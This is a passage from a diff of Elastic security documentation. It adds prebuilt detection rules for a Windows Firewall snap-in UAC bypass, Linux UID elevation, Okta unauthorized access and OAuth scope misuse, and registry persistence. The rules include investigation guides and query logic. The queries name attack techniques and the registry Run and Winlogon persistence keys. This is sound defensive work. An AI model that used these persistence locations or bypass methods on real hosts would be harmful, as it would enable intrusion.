every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/AzAgarampur/byeintegrity-uac + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating UAC Bypass via Windows Firewall Snap-In Hijack* + + +Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as low to high integrity levels) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. UAC can deny an operation under high-integrity enforcement, or allow the user to perform the action if they are in the local administrators group and enter an administrator password when prompted. + +For more information about the UAC and how it works, check the https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works[official Microsoft docs page]. + +This rule identifies attempts to bypass User Account Control (UAC) by hijacking the Microsoft Management Console (MMC) Windows Firewall snap-in. Attackers bypass UAC to stealthily execute code with elevated permissions. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze any suspicious spawned processes using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name == "mmc.exe" and + /* process.Ext.token.integrity_level_name == "high" can be added in future for tuning */ + /* args of the Windows Firewall SnapIn */ + process.parent.args == "WF.msc" and process.name != "WerFault.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: MMC +** ID: T1218.014 +** Reference URL: https://attack.mitre.org/techniques/T1218/014/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uid-elevation-from-previously-unknown-executable.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uid-elevation-from-previously-unknown-executable.asciidoc new file mode 100644 index 0000000000..a34f13b591 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uid-elevation-from-previously-unknown-executable.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-34-uid-elevation-from-previously-unknown-executable]] +=== UID Elevation from Previously Unknown Executable + +Monitors for the elevation of regular user permissions to root permissions through a previously unknown executable. Attackers may attempt to evade detection by hijacking the execution flow and hooking certain functions/syscalls through a rootkit in order to provide easy access to root via a special modified command. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating UID Elevation from Previously Unknown Executable* + + +In Linux environments, UID elevation is a process where a user's permissions are increased, often to root level, allowing full system control. Adversaries exploit this by using unknown executables to hijack execution flow, often via rootkits, to gain unauthorized root access. The detection rule identifies such activities by monitoring for UID changes initiated by non-standard executables, excluding known safe paths and processes, thus highlighting potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the process details to identify the unknown executable that triggered the alert, focusing on the process.executable field to determine its path and origin. +- Examine the parent process information using process.parent.name to understand the context in which the unknown executable was launched, checking for any unusual or unexpected shell activity. +- Investigate the user account associated with the UID change by analyzing the user.id field to determine if the account has a history of privilege escalation attempts or if it has been compromised. +- Check the system logs for any recent changes or installations that might have introduced the unknown executable, focusing on the time frame around the event.action:"uid_change". +- Assess the network activity around the time of the alert to identify any potential external connections or data exfiltration attempts that might correlate with the privilege escalation. +- Cross-reference the executable path and name against known threat intelligence databases to determine if it is associated with any known malicious activity or rootkits. +- If possible, perform a forensic analysis of the executable to understand its behavior and potential impact on the system, looking for signs of function or syscall hooking as indicated in the rule description. + + +*False positive analysis* + + +- Executables in custom directories may trigger false positives if they are legitimate but not included in the known safe paths. Users can mitigate this by adding these directories to the exclusion list in the detection rule. +- Scripts or binaries executed by system administrators from non-standard locations for maintenance or deployment purposes might be flagged. To handle this, users should document and exclude these specific processes or paths if they are verified as safe. +- Development or testing environments where new executables are frequently introduced can cause alerts. Users should consider creating exceptions for these environments or paths to reduce noise while ensuring they are monitored separately for any unusual activity. +- Automated scripts or tools that perform legitimate UID changes but are not part of the standard system paths can be excluded by adding their specific executable paths or names to the rule's exception list. +- Temporary or ephemeral processes that are part of containerized applications might be flagged. Users should review and exclude these processes if they are confirmed to be part of normal operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule that are not part of the known safe paths or processes. +- Conduct a thorough review of the affected system's logs to identify any additional indicators of compromise or related suspicious activities. +- Remove any unauthorized or unknown executables found on the system, especially those involved in the UID elevation attempt. +- Restore the system from a known good backup if any rootkits or persistent threats are detected that cannot be easily removed. +- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click Add integrations. +- In the query bar, search for Elastic Defend and select the integration to see more details about it. +- Click Add Elastic Defend. +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either Traditional Endpoints or Cloud Workloads. +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in New agent policy name. If other agent policies already exist, you can click the Existing hosts tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click Save and Continue. +- To complete the integration, select Add Elastic Agent to your hosts and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:"linux" and event.category:"process" and event.action:"uid_change" and event.type:"change" and user.id:"0" +and process.parent.name:("bash" or "dash" or "sh" or "tcsh" or "csh" or "zsh" or "ksh" or "fish") and not ( + process.executable:( + /bin/* or /usr/bin/* or /sbin/* or /usr/sbin/* or /snap/* or /tmp/newroot/* or /var/lib/docker/* or /usr/local/* or + /opt/psa/admin/* or /usr/lib/snapd/snap-confine or /opt/dynatrace/* or /opt/microsoft/* or + /var/lib/snapd/snap/bin/node or /opt/gitlab/embedded/sbin/logrotate or /etc/apt/universal-hooks/* or + /opt/puppetlabs/puppet/bin/puppet or /opt/cisco/* or /run/k3s/containerd/* or /usr/lib/postfix/sbin/master or + /usr/libexec/postfix/local or /var/lib/snapd/snap/bin/postgresql* or /opt/puppetlabs/puppet/bin/ruby + ) or + process.name:( + "bash" or "dash" or "sh" or "tcsh" or "csh" or "zsh" or "ksh" or "fish" or "sudo" or "su" or "apt" or "apt-get" or + "aptitude" or "squid" or "snap" or "fusermount" or "pkexec" or "umount" or "master" or "omsbaseline" or "dzdo" or + "sandfly" or "logrotate" or "nix-installer" or "sapstartsrv" or "microk8s" or "vrns_watchdog" or "sdbgloballistener" or + "clean_user_php_sessions" or "nsca_wrapper" + ) or + process.args:/usr/bin/python* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: KernelCallbackTable +** ID: T1574.013 +** Reference URL: https://attack.mitre.org/techniques/T1574/013/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unauthorized-access-to-an-okta-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unauthorized-access-to-an-okta-application.asciidoc new file mode 100644 index 0000000000..062a2fa10a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unauthorized-access-to-an-okta-application.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-34-unauthorized-access-to-an-okta-application]] +=== Unauthorized Access to an Okta Application + +Identifies unauthorized access attempts to Okta applications. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Tactic: Initial Access +* Use Case: Identity and Access Audit +* Data Source: Okta +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 416 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unauthorized Access to an Okta Application* + + +Okta is a widely used identity management service that facilitates secure user authentication and access to applications. Adversaries may exploit valid credentials to gain unauthorized access, bypassing security controls. The detection rule monitors specific Okta system events for unauthorized access attempts, leveraging event datasets and actions to identify potential breaches, thus aiding in early threat detection and response. + + +*Possible investigation steps* + + +- Review the event logs for entries with event.dataset:okta.system and event.action:app.generic.unauth_app_access_attempt to identify the specific unauthorized access attempts. +- Identify the user accounts involved in the unauthorized access attempts and check for any unusual activity or patterns associated with these accounts. +- Investigate the source IP addresses associated with the unauthorized access attempts to determine if they are known or suspicious, and check for any geolocation anomalies. +- Examine the timestamps of the unauthorized access attempts to see if they coincide with any other suspicious activities or known incidents. +- Check for any recent changes in user permissions or configurations in the Okta system that might have facilitated the unauthorized access attempts. +- Contact the affected users to verify if they were aware of the access attempts and to ensure their credentials have not been compromised. + + +*False positive analysis* + + +- Employees accessing applications from new devices or locations may trigger alerts. Regularly update the list of known devices and locations to minimize these false positives. +- Automated scripts or tools used for application testing might mimic unauthorized access attempts. Identify and whitelist these scripts to prevent unnecessary alerts. +- Users with multiple accounts accessing the same application can be mistaken for unauthorized access. Maintain an updated list of legitimate multi-account users to reduce false positives. +- Changes in user roles or permissions might lead to temporary access issues. Coordinate with HR or IT departments to ensure role changes are reflected promptly in the system. +- Scheduled maintenance or updates to applications can generate access attempts that appear unauthorized. Exclude these events by aligning detection rules with maintenance schedules. + + +*Response and remediation* + + +- Immediately isolate the affected user account by disabling it to prevent further unauthorized access. +- Review and reset the credentials for the compromised account, ensuring the new password adheres to strong security policies. +- Conduct a thorough audit of recent activities associated with the compromised account to identify any unauthorized changes or data access. +- Notify the affected user and relevant stakeholders about the incident, providing guidance on recognizing phishing attempts and securing their accounts. +- Escalate the incident to the security operations team for further investigation and to determine if additional accounts or systems have been compromised. +- Implement multi-factor authentication (MFA) for the affected account and any other accounts that do not currently have it enabled to enhance security. +- Update and refine monitoring rules to detect similar unauthorized access attempts in the future, ensuring quick identification and response. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:app.generic.unauth_app_access_attempt + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unauthorized-scope-for-public-app-oauth2-token-grant-with-client-credentials.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unauthorized-scope-for-public-app-oauth2-token-grant-with-client-credentials.asciidoc new file mode 100644 index 0000000000..d607fab7fe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unauthorized-scope-for-public-app-oauth2-token-grant-with-client-credentials.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-34-unauthorized-scope-for-public-app-oauth2-token-grant-with-client-credentials]] +=== Unauthorized Scope for Public App OAuth2 Token Grant with Client Credentials + +Identifies a failed OAuth 2.0 token grant attempt for a public client app using client credentials. This event is generated when a public client app attempts to exchange a client credentials grant for an OAuth 2.0 access token, but the request is denied due to the lack of required scopes. This could indicate compromised client credentials in which an adversary is attempting to obtain an access token for unauthorized scopes. This is a [New Terms](https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule) rule where the `okta.actor.display_name` field value has not been seen in the last 14 days regarding this event. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.blog/news-insights/company-news/security-alert-stolen-oauth-user-tokens/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: SaaS +* Data Source: Okta +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: OAuth App Consent +* Rule Type: New Terms +* Platform: Okta +* Domain: Identity + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unauthorized Scope for Public App OAuth2 Token Grant with Client Credentials* + + +OAuth 2.0 is a protocol for authorization, allowing apps to access resources on behalf of users. Public client apps, lacking secure storage, use client credentials for token grants. Adversaries may exploit compromised credentials to request unauthorized scopes. The detection rule identifies failed token grants due to scope mismatches, signaling potential misuse of client credentials. + + +*Possible investigation steps* + + +- Review the `okta.actor.display_name` field to identify the public client app involved in the failed token grant attempt and determine if it is a known or expected application. +- Examine the `okta.debug_context.debug_data.flattened.requestedScopes` field to understand which unauthorized scopes were requested and assess their potential impact if accessed. +- Investigate the `okta.actor.type` field to confirm that the actor is indeed a public client app, which lacks secure storage, and evaluate the risk of compromised credentials. +- Check the `okta.outcome.reason` field for "no_matching_scope" to verify that the failure was due to a scope mismatch, indicating an attempt to access unauthorized resources. +- Analyze the `okta.client.user_agent.raw_user_agent` field to ensure the request did not originate from known Okta integrations, which are excluded from the rule, to rule out false positives. +- Correlate the event with other security logs or alerts to identify any patterns or additional suspicious activities related to the same client credentials or IP address. + + +*False positive analysis* + + +- Frequent legitimate access attempts by known public client apps may trigger false positives. To manage this, consider creating exceptions for specific `okta.actor.display_name` values that are known to frequently request scopes without malicious intent. +- Automated processes or integrations that use client credentials might occasionally request scopes not typically associated with their function. Review these processes and, if deemed non-threatening, exclude their `okta.client.user_agent.raw_user_agent` from triggering the rule. +- Development or testing environments often simulate various OAuth 2.0 token grant scenarios, which can result in false positives. Identify and exclude these environments by their `okta.actor.display_name` or other distinguishing attributes. +- Regularly review and update the list of non-threatening scopes in `okta.debug_context.debug_data.flattened.requestedScopes` to ensure that legitimate scope requests are not flagged as unauthorized. + + +*Response and remediation* + + +- Immediately revoke the compromised client credentials to prevent further unauthorized access attempts. +- Conduct a thorough review of the affected public client app's access logs to identify any successful unauthorized access or data exfiltration attempts. +- Notify the application owner and relevant security teams about the incident to ensure coordinated response efforts. +- Implement additional monitoring on the affected app and associated user accounts to detect any further suspicious activities. +- Update and enforce stricter access controls and scope permissions for public client apps to minimize the risk of unauthorized scope requests. +- Consider implementing multi-factor authentication (MFA) for accessing sensitive resources to add an additional layer of security. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if broader organizational impacts exist. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: okta.system + and event.action: "app.oauth2.as.token.grant" + and okta.actor.type: "PublicClientApp" + and okta.debug_context.debug_data.flattened.grantType: "client_credentials" + and okta.outcome.result: "FAILURE" + and not okta.client.user_agent.raw_user_agent: "Okta-Integrations" + and not okta.actor.display_name: (Okta* or Datadog) + and not okta.debug_context.debug_data.flattened.requestedScopes: ("okta.logs.read" or "okta.eventHooks.read" or "okta.inlineHooks.read") + and okta.outcome.reason: "no_matching_scope" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uncommon-registry-persistence-change.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uncommon-registry-persistence-change.asciidoc new file mode 100644 index 0000000000..c319ee7215 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uncommon-registry-persistence-change.asciidoc @@ -0,0 +1,250 @@ +[[prebuilt-rule-8-19-34-uncommon-registry-persistence-change]] +=== Uncommon Registry Persistence Change + +Detects changes to registry persistence keys that are not commonly used or modified by legitimate programs. This could be an indication of an adversary's attempt to persist in a stealthy manner. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2 +* https://github.com/rad9800/BootExecuteEDR + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Uncommon Registry Persistence Change* + + +Windows Registry is a critical system database storing configuration settings. Adversaries exploit registry keys for persistence, ensuring malicious code executes on startup or during specific events. The detection rule identifies unusual modifications to less commonly altered registry keys, which may indicate stealthy persistence attempts. It filters out benign changes by excluding known legitimate processes and paths, focusing on suspicious alterations. + + +*Possible investigation steps* + + +- Review the specific registry path and value that triggered the alert to understand the context of the change and its potential impact on system behavior. +- Identify the process responsible for the registry modification by examining the process.name and process.executable fields, and determine if it is a known legitimate process or potentially malicious. +- Check the registry.data.strings field to see the new data or command being set in the registry key, and assess whether it aligns with known legitimate software or suspicious activity. +- Investigate the user account associated with the registry change by reviewing the HKEY_USERS path, if applicable, to determine if the change was made by an authorized user or an unexpected account. +- Correlate the alert with other recent events on the host, such as file modifications or network connections, to identify any additional indicators of compromise or related suspicious activity. +- Consult threat intelligence sources or databases to see if the registry path or process involved is associated with known malware or adversary techniques. + + +*False positive analysis* + + +- Legitimate software installations or updates may modify registry keys for setup or configuration purposes. Users can create exceptions for known software paths like C:\Program Files\*.exe to reduce noise. +- System maintenance processes such as Windows Update might trigger changes in registry keys like SetupExecute. Exclude processes like TiWorker.exe and poqexec.exe when they match known update patterns. +- Administrative scripts or tools that automate system configurations can alter registry keys. Identify and exclude these scripts by their executable paths or process names to prevent false alerts. +- Security software, including antivirus or endpoint protection, may interact with registry keys for monitoring purposes. Exclude paths related to these tools, such as C:\ProgramData\Microsoft\Windows Defender\Platform\*\MsMpEng.exe, to avoid false positives. +- User-initiated changes through control panel settings or personalization options can affect registry keys like SCRNSAVE.EXE. Exclude common system paths like %windir%\system32\rundll32.exe user32.dll,LockWorkStation to minimize false detections. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of potential malicious activity. +- Terminate any suspicious processes identified in the alert, particularly those not matching known legitimate executables or paths. +- Restore any altered registry keys to their original state using a known good backup or by manually resetting them to default values. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or processes. +- Review and update endpoint protection policies to ensure that similar registry changes are monitored and alerted on in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Document the incident, including all actions taken, to improve future response efforts and update threat intelligence databases. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + length(registry.data.strings) > 0 and + registry.path : ( + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Runonce\\*", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Run", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\IconServiceLib", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\AppSetup", + 